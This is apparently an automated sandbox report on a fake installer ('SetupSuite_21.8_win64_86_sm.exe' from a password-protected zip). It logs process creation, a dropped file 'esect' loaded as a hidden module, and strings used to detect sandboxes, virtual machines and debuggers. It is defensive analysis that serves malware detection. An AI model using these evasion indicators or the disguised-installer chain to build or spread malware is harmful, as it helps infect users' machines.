Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\Setup7-main (1).zip"
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\221ppxeg.fmw" "C:\Users\user\Downloads\Setup7-main (1).zip"
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 460
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2228,i,1968892779595750775,1565356309331752868,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\Setup7-main (1).zip"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\221ppxeg.fmw" "C:\Users\user\Downloads\Setup7-main (1).zip"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:	Binary string: C:\jenkins\workspace\CommonTools\RazerInstaller_Master\SafeExtractor\Release\SafeExtractor.pdb source: SetupSuite_21.8_win64_86_sm.exe.7.dr
Source:	Binary string: glu32.pdbGCTL source: cmd.exe, 0000000C.00000002.2588979306.0000000005123000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614006383.00000000032F8000.00000008.00000001.01000000.00000000.sdmp, esect.12.dr
Source:	Binary string: Amsi.pdb source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375228262.0000000003F2B000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375228262.0000000003EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2396918365.0000000005483000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2401490897.0000000005D90000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588739540.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588472175.00000000047C5000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614479550.000000000C1B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614245620.000000000BD6D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: glu32.pdb source: cmd.exe, 0000000C.00000002.2588979306.0000000005123000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614006383.00000000032F8000.00000008.00000001.01000000.00000000.sdmp, esect.12.dr
Source:	Binary string: wntdll.pdb source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2396918365.0000000005483000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2401490897.0000000005D90000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588739540.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588472175.00000000047C5000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614479550.000000000C1B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614245620.000000000BD6D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Amsi.pdbGCTL source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375228262.0000000003F2B000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375228262.0000000003EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Dev\LightweightInstaller\3rd Party\DotNetZip\DotNetZip\Zip\obj\Release\Ionic.Zip.pdb source: SetupSuite_21.8_win64_86_sm.exe.7.dr

Source: esect.12.dr

Static PE information: real checksum: 0x409b9 should be: 0x351d8

Source: SetupSuite_21.8_win64_86_sm.exe.7.dr	Static PE information: section name: .didata
Source: esect.12.dr	Static PE information: section name: gbdqkb

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 15_2_0C0E7A00 push eax; ret

15_2_0C0E7A2E

Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\esect			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\esect

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\cmd.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\ESECT

Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: explorer.exe, 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp	Binary or memory string: AVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL
Source: esect.12.dr	Binary or memory string: AAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 9F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 2630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 4630000 memory commit \| memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\esect

Jump to dropped file

Source: C:\Windows\SysWOW64\unarchiver.exe TID: 4440	Thread sleep count: 58 > 30			Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 1416	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Code function: 6_2_0095B1D6 GetSystemInfo,

6_2_0095B1D6

Source: C:\Windows\SysWOW64\unarchiver.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: Amcache.hve.18.dr	Binary or memory string: VMware
Source: explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: Amcache.hve.18.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp	Binary or memory string: TatVirtualMachine\|*
Source: explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: VirtualMachines
Source: Amcache.hve.18.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: TatVirtualMachine\|*~
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: TatVirtualMachine;
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: :TatVirtualMachine.:5
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: :TatVirtualMachine.:1
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: :TatVirtualMachine.:3
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: :TatVirtualMachine.:4
Source: Amcache.hve.18.dr	Binary or memory string: vmci.sys
Source: explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: Amcache.hve.18.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.18.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.18.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.18.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.18.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.18.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.18.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.18.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.18.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.18.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: VirtualMachine
Source: Amcache.hve.18.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: FVirtualMachine
Source: Amcache.hve.18.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.18.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.18.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.18.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.18.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.18.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.18.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: Amcache.hve.18.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: TatVirtualMachines
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: TatVirtualMachine\|*~\
Source: Amcache.hve.18.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.18.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: FVirtualMachines
Source: Amcache.hve.18.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.18.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.18.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.18.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: TatVirtualMachine
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: TatVirtualMachines#
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	Binary or memory string: :TatVirtualMachine.:2

Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Process queried: DebugPort

Jump to behavior

